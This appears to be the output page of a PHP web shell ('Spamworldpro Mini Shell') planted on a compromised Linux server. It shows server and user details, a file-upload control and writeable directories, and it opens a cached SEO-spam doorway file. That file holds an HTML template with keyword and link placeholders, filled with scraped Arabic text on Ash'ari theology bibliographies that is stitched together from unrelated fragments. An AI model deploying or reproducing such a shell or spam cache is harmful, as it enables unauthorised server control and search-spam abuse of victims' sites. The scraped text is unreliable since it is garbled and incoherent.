Spamworldpro Mini Shell
Spamworldpro


Server : nginx/1.20.1
System : Linux ccpf-production-2021 5.4.0-148-generic #165-Ubuntu SMP Tue Apr 18 08:53:12 UTC 2023 x86_64
User : forge ( 1000)
PHP Version : 7.4.21
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /proc/3281473/cwd/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/3281473/cwd/476b103aa5d1ff830b7b2d49b38e33d8
a:5:{s:8:"template";s:9644:"<!DOCTYPE html>
<html lang="ar">
<head>
<meta charset="utf-8"/>
<meta content="IE=edge" http-equiv="X-UA-Compatible"/>
<title>{{ keyword }}</title>
<link href="https://fonts.googleapis.com/css?family=Open+Sans:300italic,400italic,600italic,700italic,800italic,400,300,600,700,800&amp;subset=latin,latin-ext" id="divi-fonts-css" media="all" rel="stylesheet" type="text/css"/>
<meta content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" name="viewport"/>
<style rel="stylesheet" type="text/css">.has-drop-cap:not(:focus):first-letter{float:left;font-size:8.4em;line-height:.68;font-weight:100;margin:.05em .1em 0 0;text-transform:uppercase;font-style:normal} @font-face{font-family:'Open Sans';font-style:normal;font-weight:400;src:local('Open Sans Regular'),local('OpenSans-Regular'),url(https://fonts.gstatic.com/s/opensans/v17/mem8YaGs126MiZpBA-UFW50e.ttf) format('truetype')}  a,body,div,h1,html,li,span,ul{margin:0;padding:0;border:0;outline:0;background:0 0;font-size:100%;vertical-align:baseline;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%}body{line-height:1}ul{list-style:none}:focus{outline:0}footer,header,nav{display:block}body{color:#666;background-color:#fff;font-family:"Open Sans",Arial,sans-serif;font-size:14px;font-weight:500;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;line-height:1.7em}body.et_cover_background{background-repeat:no-repeat!important;background-attachment:fixed;background-position:top center!important;-webkit-background-size:cover!important;-moz-background-size:cover!important;background-size:cover!important}a{color:#2ea3f2;text-decoration:none}a:hover{text-decoration:none}h1{padding-bottom:10px;color:#333;font-weight:500;line-height:1em}h1{font-size:30px}#top-menu li{word-wrap:break-word}#main-header{-webkit-transition:background-color .4s,color .4s,transform .4s,opacity .4s ease-in-out;-moz-transition:background-color .4s,color .4s,transform .4s,opacity .4s ease-in-out;transition:background-color .4s,color .4s,transform .4s,opacity .4s ease-in-out}.container{position:relative;width:80%;max-width:1080px;margin:auto}.container{position:relative;text-align:left}#main-header{position:relative;z-index:99999;top:0;width:100%;background-color:#fff;-webkit-box-shadow:0 1px 0 rgba(0,0,0,.1);-moz-box-shadow:0 1px 0 rgba(0,0,0,.1);box-shadow:0 1px 0 rgba(0,0,0,.1);font-weight:500;line-height:23px}.et_fixed_nav.et_show_nav #page-container{padding-top:80px}.et_fixed_nav #main-header{position:fixed}.et_header_style_left #et-top-navigation{padding-top:33px}.et_header_style_left #et-top-navigation nav>ul>li>a{padding-bottom:33px}.et_header_style_left .logo_container{position:absolute;width:100%;height:100%}.logo_container{-webkit-transition:all .4s ease-in-out;-moz-transition:all .4s ease-in-out;transition:all .4s ease-in-out}span.logo_helper{display:inline-block;width:0;height:100%;vertical-align:middle}#top-menu,#top-menu-nav{line-height:0}#et-top-navigation{font-weight:600}.et_fixed_nav #et-top-navigation{-webkit-transition:all .4s ease-in-out;-moz-transition:all .4s ease-in-out;transition:all .4s ease-in-out}#top-menu,nav#top-menu-nav{float:left}#top-menu li{display:inline-block;padding-right:22px;font-size:14px}#top-menu>li:last-child{padding-right:0}#top-menu a{display:block;position:relative;color:rgba(0,0,0,.6);text-decoration:none;-webkit-transition:all .4s ease-in-out;-moz-transition:all .4s ease-in-out;transition:all .4s ease-in-out}#top-menu-nav>ul>li>a:hover{opacity:.7;-webkit-transition:all .4s ease-in-out;-moz-transition:all .4s ease-in-out;transition:all .4s ease-in-out}.container.et_menu_container{z-index:99}.woocommerce-cart table.cart td.actions .coupon .input-text::input-placeholder{color:#fff}#et-top-navigation{float:right}#main-footer{background-color:#222}#footer-widgets{padding:6% 0 0}.footer-widget{float:left;color:#fff}.footer-widget .fwidget:last-child{margin-bottom:0!important}#footer-bottom{padding:15px 0 5px;background-color:#1f1f1f;background-color:rgba(0,0,0,.32)}#footer-info{float:left;padding-bottom:10px;color:#666;text-align:left}#et-footer-nav{background-color:rgba(255,255,255,.05)}.et_pb_scroll_top.et-pb-icon{display:none;position:fixed;z-index:99999;right:0;bottom:125px;padding:5px;-webkit-border-top-left-radius:5px;-moz-border-radius-topleft:5px;border-top-left-radius:5px;-webkit-border-bottom-left-radius:5px;-moz-border-radius-bottomleft:5px;border-bottom-left-radius:5px;color:#fff;background:rgba(0,0,0,.4);font-size:30px;text-align:center;text-decoration:none;cursor:pointer}.et_pb_scroll_top:before{content:"2"}@media all and (max-width:980px){#page-container,.et_fixed_nav.et_show_nav #page-container{padding-top:80px}.footer-widget:nth-child(n){width:46.25%!important;margin:0 7.5% 7.5% 0!important}#footer-widgets .footer-widget .fwidget{margin-bottom:16.21%}#footer-widgets{padding:8% 0}#footer-widgets .footer-widget:nth-last-child(-n+2){margin-bottom:0!important}#main-header{-webkit-transition:none;-moz-transition:none;transition:none}#top-menu{display:none}#et-top-navigation{margin-right:0;-webkit-transition:none;-moz-transition:none;transition:none}.et_fixed_nav #main-header{position:absolute}.et_header_style_left #et-top-navigation{display:block;padding-top:24px}.et_fixed_nav #main-header{-webkit-transition:none;-moz-transition:none;transition:none}#main-header,.container,.logo_container{-webkit-transition:none;-moz-transition:none;transition:none}#footer-info{float:none;text-align:center}}@media all and (max-width:767px){#footer-widgets .footer-widget{width:100%!important;margin-right:0!important}#footer-widgets .footer-widget .fwidget,#footer-widgets .footer-widget:nth-child(n){margin-bottom:9.5%!important}#footer-widgets{padding:10% 0}#footer-widgets .footer-widget .fwidget:last-child{margin-bottom:0!important}#footer-widgets .footer-widget:last-child{margin-bottom:0!important}#et-top-navigation{margin-right:0}}@media all and (max-width:479px){#et-top-navigation{margin-right:0}#footer-widgets .footer-widget:nth-child(n),.footer-widget .fwidget{margin-bottom:11.5%!important}#footer-widgets{padding:12% 0}}@media print{#main-header{position:relative!important;top:auto!important;right:auto!important;bottom:auto!important;left:auto!important}#page-container{padding-top:0!important}} *{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.clearfix:after{display:block;visibility:hidden;clear:both;height:0;font-size:0;content:" "}.et_pb_widget{word-wrap:break-word}.et-pb-icon{display:inline-block;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;font-family:ETmodules;font-size:96px;font-weight:400;font-style:normal;font-variant:normal;-webkit-font-smoothing:antialiased;line-height:1;text-transform:none;content:attr(data-icon);speak:none}.nav li{position:relative;line-height:1em}.nav li:hover{visibility:inherit}.et_pb_widget{float:left;max-width:100%} @media all and (min-width:981px){.et_pb_gutters3 .footer-widget{margin:0 5.5% 5.5% 0}.et_pb_gutters3.et_pb_footer_columns4 .footer-widget{width:20.875%}.et_pb_gutters3.et_pb_footer_columns4 .footer-widget .fwidget{margin-bottom:26.348%}.et_pb_gutters3.et_pb_footer_columns4 .footer-widget .fwidget{margin-bottom:26.348%}}.clearfix:after{display:block;visibility:hidden;clear:both;height:0;font-size:0;content:" "}@font-face{font-family:'Cantata One';font-style:normal;font-weight:400;src:local('Cantata One'),local('CantataOne-Regular'),url(https://fonts.gstatic.com/s/cantataone/v9/PlI5Fl60Nb5obNzNe2jslWxDvcQ.ttf) format('truetype')} @font-face{font-family:'Open Sans';font-style:normal;font-weight:400;src:local('Open Sans Regular'),local('OpenSans-Regular'),url(https://fonts.gstatic.com/s/opensans/v17/mem8YaGs126MiZpBA-UFVZ0e.ttf) format('truetype')} .footer-widget{color:#fff}.footer-widget .et_pb_widget div{line-height:1.7em}#et-footer-nav{background-color:rgba(0,31,117,.05)}#footer-bottom{background-color:rgba(0,226,208,.32)}#footer-info{color:#fff}</style>
</head>
<body class="et_pb_button_helper_class et_fixed_nav et_show_nav et_cover_background et_pb_gutter windows et_pb_gutters3 et_primary_nav_dropdown_animation_fade et_secondary_nav_dropdown_animation_fade et_pb_footer_columns4 et_header_style_left et_smooth_scroll et_right_sidebar et_divi_theme et_minified_js et_minified_css">
<div id="page-container">
<header data-height-onload="66" id="main-header">
<div class="container clearfix et_menu_container">
<div class="logo_container">
<span class="logo_helper"><h1>{{ keyword }}</h1></span>
</div>
<div data-fixed-height="40" data-height="66" id="et-top-navigation">
<nav id="top-menu-nav">
<ul class="nav et_disable_top_tier" id="top-menu">
<li><a href="#">Home</a></li>
<li class="page_item page-item-1330268"><a href="#">About Us</a></li>
<li class="page_item page-item-1330295"><a href="#">Contact Us</a></li>
<li class="page_item page-item-1330327"><a href="#">Home</a></li>
<li class="page_item page-item-1330280"><a href="#">Privacy Policy</a></li>
</ul>
</nav>
</div> 
</div> 
</header> 
<div id="et-main-area">
{{ text }}
<span class="et_pb_scroll_top et-pb-icon"></span>
<footer id="main-footer">
<div class="container">
<div class="clearfix" id="footer-widgets">
<div class="footer-widget"><div class="fwidget et_pb_widget widget_calendar" id="calendar-2"><div class="calendar_wrap" id="calendar_wrap">
{{ links }}
</div></div> </div> 
</div> 
</div> 
<div id="et-footer-nav">
<div class="container">
</div>
</div> 
<div id="footer-bottom">
<div class="container clearfix">
<div id="footer-info">{{ keyword }} 2021</div></div> 
</div>
</footer>
</div>
</div>
</body>
</html>";s:4:"text";s:50254:"1. ـ حواشٍ على شرح صغرى السنوسي، لأبي عبد الله محمد المامون بن محمد الحفصي المراكشي التونسي (ت.1037هـ) وله أيضا: ـ شرح صغرى صغرى الصغرى ـ شرح العقيدة الصغرى للسنوسي وهي للمبتدئين المعروفة بالشرح الصغير. ـ شرح عقيدة الرسالة القيروانية لأبي زكرياء يحيى بن أبي بكر المسطاسي الفاسي. ـ تقييد على تعليق على شرح السنوسي للصغرى، لمؤلف مغربي من القرن 11هـ بدليل ذكره لشيخه أبي عبد الله القصار (ت.1013هـ). * نحن واعون كل الوعي بالتمايزات الدلالية بين ألفاظ قد يجري استعمالها على حرف واحد من باب التجوز، وهي: “تصنيف” و”تأليف” و”ترتيب” و”تركيب” و”جمع” وغيرها؛ فبين هذه الألفاظ ـ خصوصا بين التصنيف والتأليف ـ فروق دقيقة استخرجها العلماء قديما لينماز بعضها عن بعض. ـ الدرة الفريدة في نظم العقيدة لعبد العزيز بن عبد الله بن سليمان الرسموكي، شرح فيها نظمه على عقيدة الأمير يحيى بن عبد الله الحاحي (ت.1035هـ) وقد كان معاصرا له. ـ شرح منظومة فيما لا يسع المؤمن جهله من العقائـد، لأبـي عبـد الله محمد ابن علي عَزّيمان التطاوني (ت.1313هـ) والمنظومة منسوبة لليوسي. ـ أدلة التوحيد والنبوة والبعث من آيات القرآن المُكْسِبَة للقلوب مزيد الإيمان والإتقان، لأبي القاسم بن محمد بن أحمد بن عبد الملك ابن مخلص الأندلسي ثم السبتي (كان حيا عام 812هـ). 2. ـ إمداد الضياء في أفق عقائد الأصفياء، لأند عبد الله بن أحمد بن أند عبد الله ابن الشيخ الولاتي ثم المحجوبي (ت.1172هـ) عبارة عن شرح على «عقيدة» الفقيه محمد ابن علي. ـ العقيدة الأشعرية هي عقيدة أهل السنة والجماعة، لعبد الله بنطاهر التناني السوسي (معاصر). ـ تعليق على السنوسية في علم التوحيد عند قول المؤلف: «فقد اتضح لك تضمن كلمتي الشهادة مع قلة حروفها لجميع ما يجب على المكلف، إلخ» لمحمد التهامي بن المدني بن علي گنون (ت.1333هـ). - كتاب: حاشية الدسوقي على أم البراهين- للإمام أبي عبد الله. ـ شرح على منظومة «التنبيه والإرشاد»، لعلي بن ثابت بن سعيد بن علي القرشي الأموي التلمساني (ت.829هـ). (أبو مهدي عيسى بن عبدالرحمن السكتاني، ت 1062 هـ) ـــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ. ـ مقدمات في العقائد، لإبراهيم بن عبد الجبار التلمساني (وهو مغمور حسب خالد زهري). ـ شرح مرشدة محمد بن تومرت للسكوني المذكور. ـ كشف اللَّبْس والتعقيد عن عقيدة أهل التوحيد لأبي عبد الله محمد بن محمد ابن مريم التلمساني (ت.1014هـ) والمقصود بـ«عقيدة أهل التوحيد»: «كبرى السنوسي». د. ـ شرح البرهانية، لعلي بن محمد بن أحمد العُبّادي. ـ النقل الصريح لا يخالف العقل الصحيح لمحمد ابن أبي بكر بن محمد الأزاريفي (ت.1404هـ). سالم الشيخي بمناسبة حصوله على شهادة الدكتوراه, وفاة الداعية السعودي موسى القرني.. معتقل منذ 14 عاما, الاتحاد العالمي لعلماء المسلمين يعقد مؤتمرا حول ما يجري للمسلمين في الهند وكشمير.. بالتعاون مع عدد من هيئات وروابط علماء الأمة, عبق التراث.. في جديد الكتب (47) | الشيخ محمد خير رمضان يوسف, تحميل كتاب (العلمانيون وفلسطين .. ستون عاماً من الفشل وماذا بعد؟), تراثنا العلمي بين أيدينا (15) | الشيخ محمد خير رمضان يوسف, آثار الشَّيخ العلَّامة عبد الرحمن بن يحيى المُعلِّمي, أحكام الجو والفضاء بين الفقه الإسلامي والقانون الدولي, إدارة شؤون الدولة والإشراف المباشر عند الخليفة عمر بن عبد العزيز رحمه الله, كلمات في الطريق (697) | الشيخ محمد خير رمضان يوسف, الإسلاميون.. من النقد الفكري إلى التمرد على البراديغم الحركي, الإسلاميون في الحكم الحلقة 1 – أ. في هذا القسم يجد المتابع “أصنافا” أربعة من الجهود العلمية المغربية في خدمة “العقد الأشعري” أردنا منها أن تكون، كما بينت في صدر القسم الأول، كشّافا أو ورّاقة لعنوانات الإنتاجات المغربية في مجال الكلام والعقائد مصنفة بحسب موضوعاتها وأجناسها مع مراعاة الترتيب الزمني. الفتوحات المكية والقدسية في شرح الشاطبية/ شهاب الدين أبو العباس أحمد بن محمد جُبارة المقدسي (ت 728 هـ)؛ تحقيق أيمن صفوت محمود سالم. ـ الشروح الرشيدة على عقيدة المرشدة، لرشيد أيت رامي (معاصرة). ـ تحصيل البيان والإفادة في شرح ما تضمنته كلمة الشهادة، لحمى الله بن أحمد ابن أحمد الحسني الإدريسي (ت.1169هـ) وهو عبارة عن شرح على «منظومة الأوجلي في العقائد». ـ الأمالي في علم الأمهات، لأبي الفيض محمد بن عبد الكبير الكتاني الحسني (ت.1327هـ): وهي رسالة تولَّتْ بيان اثنين وسبعين علما من علوم التوحيد، من حيث منشؤها ومواطنها ومنزلتها، وله أيضا اقتباس العقائد. سليمان الجمل؛ سليمان بن عمر بن منصور العجيلي الأزهري، المعروف بالجمل. ـ عقائد أصولية في الدين لأبي العيش محمد بن أبي زيد عبد الرحمن ابن أبي العيش الأنصاري التلمساني (ت.654هـ). ـ حاشية على شرح العقيدة الكبرى للسنوسي لنور الدين أبي علي الحسن بن مسعود اليوسي(ت.1102هـ)، وَصَفَها محمد العربي بن بنداود الشرقاوي بقوله: «لا نظير لها في علم الكلام»، وله حواشٍ للكبرى ـ شرح العقيدة الصغرى للسنوسي ـ شرح الكبرى للسنوسي. عدد المدخلات: 1: العنوان التفصيلي: حاشية الملوي على حاشية السكتاني على شرح السنوسي على أم البراهين Hada kiatb Hashiyat A-dussuki Ala Aum Al-barahine. ـ حاشية على شرح العقيدة الصغرى للسنوسي لمؤلف مغربي غير مذكور (كان حيا عام 1081هـ). ـ شرح على الكبرى للسنوسي لأبي عبد الله مَحمد بن سعيد المنصوري السلوي السوسي (ت.1142هـ)، وله أيضا حاشية على كبرى السنوسي. ـ الاكتفـا في اختصار الشفـا لمحمد بن محمد بن عبد الله ابن المؤقت الفتحي المسفيوي المراكشـي (ت.1369هـ). ـ حاشية على صغرى السنوسي لأبي العباس أحمد بن أبي المحاسن يوسف الفاسي (ت.1021هـ) وله أيضا حاشية على شرح الصغرى للسنوسي. تم الحصول على المحتوى من برنامج المكتبة الشاملة الشهير. وله أيضا ـ شرح على مختصَر الصغرى والمتن المشروح لسليمان بن أبي سماحة. ـ اختصار المحصل لأبي عبد الله محمد بن محمد بن أحمد المقري التلمساني (ت.759هـ). ـ شرح البرهانية، لأبي عبد الله محمد بن عبد الرحمن (أو عبد الله) المديوني (ت. ـ إتحاف المريدين بعقيدة أم البراهين لأحمد بن عبد الله بن أبي بكر الغدامسـي (كان حيا عام 1094هـ). فسيح الكلام في التذييل على فصيح ثعلب/ لأبي الفوائد محمد بن علي الغزنوي (ت بعد 442 هـ)؛ تحقيق مصطفى رزقي العاني.- الرمادي: جامعة الأنبار، 1442 هـ، 2020 م (ماجستير). ـ شرح أم البراهين، لخديجة بنت محمد العاقل الشنقيطية (ت.ق.13هـ). ـ العقيدة الإسلامية في الغرب الإسلامي: عبد الحميد بن باديس أنموذجا، لحكيمة شامي (معاصرة). مكة المكرمة: جامعة أم القرى، 1441 هـ، 2020 م (دكتوراه). 1. خطأ، لا يمكن الحصول على تغريدات، معلومات الحساب غير صحيحة. ـ شرح الكبرى لأبي العباس أحمد بن محمد بن يعقوب الولاليِّ (ت.1128هـ) وله أيضا حاشية على الكبرى. الدعاء للقائمين عليه، نشر الموقع والتعريف به، إرسال الملاحظات والمقترحات. ـ الدّرة المشيدة في شرح عقيدة المرشدة لأبي عبد الله محمد بن إبراهيم ابـن عبـاد الرُّنْـدِي النفـزي (ت.792هـ). ـ الحقائق العشرين الواجبة لرب العالمين ودلائلها وبراهينها من الكتاب المستبين، لمؤلف مغربي غير مذكور (من العهد العلوي). ـ شرح العقيدة الصغرى للسنوسي لأبي محمد عبد القادر بن أحمد بن خدة الراشدي (عاش في ق.10هـ) وله أيضا حاشية على شرح الصغرى. ـ تلخيص حقائق التوحيد للسنوسي، لأبي عبد الله محمد الصغير بن محمد المنيار (ت.1056هـ) وضع فيه أساسا هاما وضروريا في «علم الكلام»، وهو التعريف بالمصطلحات الكلامية. ـ تعليق وجيز على نظم سيدي أحمد بن عبد العزيز، لمؤلف مغربي مجهول (عاش بعد 1175هـ) المقصود بـ«النظم»، «نظم أسماء الله الحسنى» لأبي العباس أحمد بن عبد العزيز الهلالي. ـ النكت المفيدة في شرح الخطبة والعقيدة لأبي عبد الله محمد بن محمد ابن سلامة الأنصاري التونسي (ت.746هـ). ـ شرح الصغرى للسنوسي لأبي العباس أحمد بن عبد الله بن يعقوب السَّمْـلالي الجُـزُولي (ت.1093هـ). ـ حل عقائد ابن عرفة لأبي عبد الله محمد بن أحمد ابن غازي العثماني المكناسي (ت.919هـ) أراد به شرح المختصر الشامل في أصول الدين لابن عرفة. ـ شرح صغرى الصغرى: الشرح والمشروح كلاهما للسنوسي. وله أيضا: ـ أنوار السعادة الكبرى في شرح العقيدة الصغرى ـ شرح آخر على صغرى السنوسي ـ شرح التوحيد ـ شرح عقيدة يحيى بن سعيد الحاحي ـ شرح على عقيدة عبد الله بن سعيد المناني (ت.953هـ) كما له: التُّحْفة المُفِيدة في شرح العقيدة الحَفِيدة ـ حاشية على الصغرى للسنوسي. ـ الـمواهب الربَّانية عَلَى العقيدة النُّورية، لأَبِي الحسن علي بن أحمد الحُرَيْشِـيِّ الفاسي ثم المدني (ت.1143هـ). ـ إتحاف الطالب بنجاة أبي طالب، لمحمد بن عبد السلام گنون (ت.1326هـ) لخصه عن كتاب أسنى المطالب في نجاة أبي طالب للشيخ دحلان. ـ حاشية على صغرى السنوسي لأبي العباس أحمد بن علي المنجور المكناسي الفاسي (ت.995هـ) وله أيضا: ـ حاشية على الكبرى ـ حاشية على شرح الكبرى للسنوسي. حاشية السكتاني على شرح أم البراهين للسنوسي/ تحقيق أحمد عارف بن ذو الكفل.- القاهرة: دار الصالح، 1442 هـ، 2020 م. ـ شرح توحيـد الرسالـة القيروانية، لمؤلف مغربي من القـرن 8هـ (أحد تلاميذ أبي يعقوب البادسي، المتوفى سنة 734هـ). ـ شرح منظومة عقيدة الموحدين لأبي محمد عبد الواحد بن أخلف المطغري الشجريتي. حاشية السكتاني على شرح أم البراهين للسنوسي: السكتاني ، أبو مهدي ، عيسى بن عبد الرحمن السكتاني ( ت 1062 هـ ) بدون: بدون: 101 - 220: 21: حاشية السكتاني على شرح أم البراهين للسنوسي ـ حاشية على الصغرى، لأبي الحسن علي بن موسى بن راشد العلمي الشفشاوني (ت.1027هـ). من شروح خليل ، ن 1128 ، و 250 ، ق 20/15. ـ شرح المفيدة في العقائد لمحمد بن عمر بن عبد العزيز بن أبي محلي السجلماسي (ت.1090هـ). الحقول الإلزامية مشار إليها بـ *, © الرابطة المحمدية للعلماء 2021, جميع الحقوق محفوظة, مدخل ببليوغرافي للتعرف إلى جهود المغاربة في خدمة العقيدة الأشعرية (تلخيص موضوعاتي لكتاب “المصادر المغربية للعقيدة الأشعرية” لمؤلفه خالد زهري)ـ القسم الثاني ـ, فرحة المقرئ الأريب بتزييل النِّسبة بين اختلافي القراء والفقهاء في تثوير كلام ربِّنا المُجيب, التعريف بكتاب تحفة السامعين بمولد سيد المرسلين لمحمد بن سالم الحفني الحمامي الخلوتي(1181), من مصادر السيرة النبوية.. كتب دلائل النبوة, قراءة في كتاب:  “بحوث في تاريخ العلوم عند العرب”, مركز دراس بن إسماعيل لتقريب المذهب والعقيدة والسلوك, مركز ابن أبي الربيع السبتي للدراسات اللغوية والأدبية, مركز الإمام أبي عمرو الداني للدراسات والبحوث القرائية المتخصصة, مركز ابن القطان للدراسات والأبحاث في الحديث الشريف والسيرة العطرة, مركز الدراسات والبحوث في القضايا النسائية في الإسلام, مركز ابن البنا المراكشي للبحوث والدراسات في تاريخ العلوم في الحضارة الإسلامية, مركز عقبة بن نافع للدراسات والأبحاث حول الصحابة والتابعين, مركز الإمام الجنيد للدراسات والبحوث الصوفية المتخصصة, مركز أبي الحسن الأشعري للدراسات والبحوث العقدية, مركز علم وعمران للدراسات والأبحاث وإحياء التراث الصحراوي, مركز مـــســارات للرصد والدراســـات الاستشـــرافية, مركز أبي الحسن الأشعري للدراسات والبحوت العقدية, جوانب من احتفال ملوك المغرب بالمولد النبوي عبر التاريخ, أنموذجات من الوقفات المنتقدة على الإمام أبي عبد الله الهبطي وتوجيهها (8), المتون الحديثية في عهد الدولة العلوية: الطرفة نموذجا -المتون الحديثية في عهد الدولة العلوية-, بعض جهود علماء المغرب الأقصى على موطأ الإمام مالك في عهد الدولة العلوية الشريفة. ـ رسالة في علم الكلام، لأبي عبد الله محمد بن عبد الكريم المغيلي التلمساني (ت.909هـ). ـ شرح على مسائل من التوحيد والحيض والتصوف، لأبي عبد الله محمد التاودي ابن سودة (ت.1209هـ) والشرح والمتن المشروح للمؤلف نفسه. أكثر من 15 سنة من التواجد على النت . روابط. ـ شرح العقيدة الصغرى للسنوسي (أو الشرح الصغير)، لمحمد بن أبي القاسم بن ناصر الفجيجي التوزري السعيدي (كان حيا عام 1048هـ) وله: شرح العقيدة الصغرى للسنوسي وهو الشرح الكبير. ـ شرح عقيدة عبد العزيز الفُراتي، لأبي زيد عبد الرحمن الفُراتي (ت.1181هـ) شرح فيها عقيدة والده. المشروع لا يتبع أي جهة رسمية أو غير رسمية، إنما هي جهود فردية ومبادرات شخصية لبعض الخبراء في مجال البرمجيات. فتح الرب الجلال شرح بزوغ الهلال بتذييل لامية الأفعال/عثمان بن عمر بن سيدى عثمان، المعروف بسيدات بن عمر بن الأمين الولاتي التكروري (ت 1237 هـ)؛ تحقيق محمد محمود بن محمد أحمد بن بيبَّه.- نواكشوط: دار الإسراء، 1440 هـ، 2019 م. ـ شرح عقيدة الرسالة، لأبي العباس أحمد بن عبد الرحمن الزليطني، عُرِف بــ«حْلُولُو» (ت.898هـ). وله شرح الصغرى. ـ حاشية على شرح «الصغرى»، لشيخ الجماعة بفاس أبي عبد الله الحاج محمد ابن الحاج المدني گنون (ت.1302هـ). ـ البضاعة المزجاة، لأبي حفص عمر بن المحمد الكماد الأنصاري القسنطيني، المعروف بـ«الوزان» (ت.960هـ)، وهو كتاب على منوال «طوالع الأنوار» لعبد الله بن عمر البيضاوي (ت.685هـ) و«مقاصد الطالبين في علم أصول الدين» لسعد الدين مسعود بن عمر التفتازاني (ت.791هـ)، وقد وُصِف بأنه «في غاية التحقيق»، وإيضاح الأغراض الكلامية. ـ شرح لامية الجزائري، لأبي زيد عبد الرحمن التَّمَنَارْتِي القاضي (لعله كان حيا عام 1071هـ). وقد نشرنا هذا الاختصار بموقع مركز أبي الحسن الأشعري (نافذة شذور) موطأ بتقديم يناسبه ومحشى بحواشي تساعد على قراءته. ـ طلائع البشرى فيما يتعلق بشرح العقيدة الكبرى لأبي حفص عمر بن عبد الله الفاسي الفهري (ت.1188هـ)  وله أيضا: ـ حاشية على شرح الكبرى ـ حاشية على الكبرى ـ حاشية على صغرى السنوسي. ـ شرح صغرى الشيخ السنوسي لأبي الحسن علي بن عبد الصادق الطرابلسي الحامدي (ت.1138هـ). ـ شرح مستنهج الأعلام للخوض في مباحث الكلام لأبي زيد عبد الرحمن بن عبد القادر الفاسي (ت.1096هـ)، وله أيضا: ـ حاشية على الكبرى ـ مبهج القاصد بشرح المراصد و«المراصد» اختصار لمنظومة محمد العربي الفاسي (عَمّ والد الشارح) في «علم الكلام»، الموسومة بـ«مراصد المعتمد في مقاصد المعتقد» ـ طالعـة الغرى في نظم الصغرى. في هذا الصدد، يقول أبو هلال العسكري (ت. ـ  شرح منظومة ماء العينين الشنقيطي في العقائد، للطاهر بن محمد العرائشي (وهو مغمور حسب خالد زهري). ـ الحاشية الكبرى على شرح الشيخ الطيب ابن كيران على توحيد المرشد المعين لمحمد بن قاسم القادري (ت.1331هـ). (1) أرّخ خالد زهري في “المصادر المغربية” لوفاة ابن بزيزة بـ(663هـ)، وجمال علال البختي في “عثمان السلالجي ومذهبيته الأشعرية” بـ(673هـ)، بيد أني عدت إلى كتب التراجم فألفيت أن صاحب “شجرة النور الزكية” في ترجمته لابن بزيزة ذكر أن مبحوثنا توفي في عام 662 أو 663هـ، أما البغدادي مؤلف هدية العارفين فقال أنه توفي في حدود 700هـ، في حين أن التنبكتي في نيل الابتهاج ـ وهو سابق لمحمد مخلوف ـ حقق أن وفاته في 673 وتبعه في ذلك صاحب الفكر السامي والزركلي، فأشكل الأمر عليّ خصوصا في غياب الحجة الحاسمة في المسألة فظهر لي أن خير من يفصل فيها هو دارس أو باحث انبرى لتحقيق كتاب من كتب ابن بزيزة أو له دراسة مستفيضة عن مؤلفاته وإنتاجه العلمي؛ فعثرت، بعد البحث، على كتاب روضة المستبين في شرح كتاب التلقين محققا من طرف عبد اللطيف زكاغ؛ وقد نقل اختلاف المترجمين والمؤرخين في تحقيق تاريخ وفاة المؤلف مرجحا (662هـ) بناء على شهادة لصاحب كتاب “المشرق في علماء المغرب والمشرق” وهو الكتاب الذي ذكر التنبكتي نصا منه في ترجمته لابن بزيزة دون ذكر اسم صاحبه، وقد بحثت في كتاب التنبكتي علني أجد مواضع أخرى في كتابه ذكر فيها اسم هذا الكتاب وصاحبه لكن دون جدوى فأطلت النفس في البحث عن صاحب “كتاب المشرق” هذا (الذي ذكر أن تاريخ وفاة ابن بزيزة هو (662هـ) فحصلت على بغيتي؛ إذ وجدت أن صاحب “شجرة النور الزكية” ترجم لأبي العباس أحمد بن عبد الله القرشي وذكر أن له كتابا هو “المشرق في علماء المغرب والمشرق” وأرخ وفاته بـ 692هـ ما يعني أنه أقرب إلى عصر ابن بزيزة من باقي المؤرخين والمترجمين المذكورين أعلاه، وعليه المعوّل. ـ حاشية على شرح الصغرى، لأبي العباس أحمد بن علي الشفشاوني الشـريف العلمي (ت.1027هـ)، وله أيضا حاشية على الصغرى ـ ختم على الصغرى. بعد 939هـ). ـ المختصر الشامل في أصول الدين، لأبي عبد الله محمد بن محمد ابن عرفة الوَرْغَمِّي التونسي (ت.803هـ). - تصنيف: الإمام أبي عبد الله محمد بن يوسف السنوسي. ـ طالع البشرى على العقيدة الصغرى، لإبراهيم بن أحمد بن سليمان المَارِغْنِي الزيتوني (ت.1349هـ) وله: ـ الشذرات الذهبية على منظومة العقائد الشَّرْنُوبِيَّة: نَظَمَ «العقائدَ الشرنـوبية» الشيخُ عبدُ المجيد الشَّرْنُوبي الأزهري المالكي الأشعري (ت.1348هـ) ـ شرح الوسطى: لم يُكْمِله. ـ الكلام كجنس: دراسة لذاتيات الكلام من زوايا مباحث متعددة، لأحمد العلمي حمدان (معاصر). ـ شرح المديوني المذكور على عقيدة السنوسي المختصرة للنساء والصبيان. ممكن رابط تحميل كتاب حاشية السكتاني على أم البراهين, لن يتم نشر عنوان بريدك الإلكتروني. ـ شرح مرشدة ابن تومرت لأبي عبد الله محمد بن يحيى الشيباني الطرابلسي (أواسط ق8هـ) تلميذ الخراط. ثم ختم الكتاب بذكر بعض آراء الإماميْن المذكوريْن في الإيمان، والكسب، والاختيار. ـ شرح عقيدة سعيـد بـن عبـد المنعم الـداودي المنـاني، ليبورك بـن عبد الله ابن يعقوب السملالي (ت.1058هـ)، وهي عقيدة الأمير الحاحي آنف الذكر. استخدام علامة الزائد (+) قبل أي كلمة لجعلها ضرورية في البحث. استاذي الفاضل أريد أن أعلق على قولك: " التابعي الشَّعبي الذي... اذا أجريت للمريض عملية جراحية في مستشفى حكومي وانتهت حاجته 